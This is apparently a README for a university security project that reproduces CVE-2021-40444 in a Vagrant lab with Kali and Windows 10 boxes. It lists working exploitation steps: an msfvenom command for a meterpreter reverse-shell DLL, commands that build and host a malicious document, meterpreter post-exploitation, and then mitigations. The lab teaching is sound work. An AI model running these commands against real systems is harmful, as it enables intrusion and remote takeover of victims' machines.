TIC4301_Project
TIC4301 Project - CVE-2021-40444
Download the following vagrant boxes:
Kali - https://drive.google.com/file/d/1RegQcT2jjFoaQRgLjXDYl4iS0HNt_mU2/view?usp=sharing
Win10 - https://drive.google.com/file/d/1zcLertRoI-FrHDkRq1NO-KHaF88bMv6e/view?usp=sharing
Import the boxes with the following commands through vagrant:
- vagrant box add kali kali_package.box
- vagrant box add victim victim_package.box
- vagrant init kali_package.box
- vagrant init victim_package.box
- vagrant up
Setup (win10):
- In the win10 box, log in as administrator with the password vagrant.
- Right click script.ps1 on the desktop and run with powershell. (Leave this open)
- Run ipconfig.exe and obtain the address for this host.
Setup & Exploitation (Kali):
- cd Desktop/CVE-2021-40444.
- generate your malicious dll with msfvenom. # msfvenom -p windows/x64/meterpreter/reverse_https LHOST=eth1 LPORT=443 -f dll -o test/shell.dll
- start a listener in metasploit.
- generate the malicious document. # python3 exploit.py generate test/shell.dll http://172.28.128.4 (kali ip)
- sudo python3 exploit.py host 80 (to host your server for the file downloads)
- visit http://<win 10 IP>/upload and upload the file.
- listen for the shell.
Further Exploitation:
- run post/windows/manage/migrate (meterpreter)
- shell (meterpreter)
Mitigations:
- Install KB5005565 hotfix.
- Edit windows registry with patch.reg in the repository.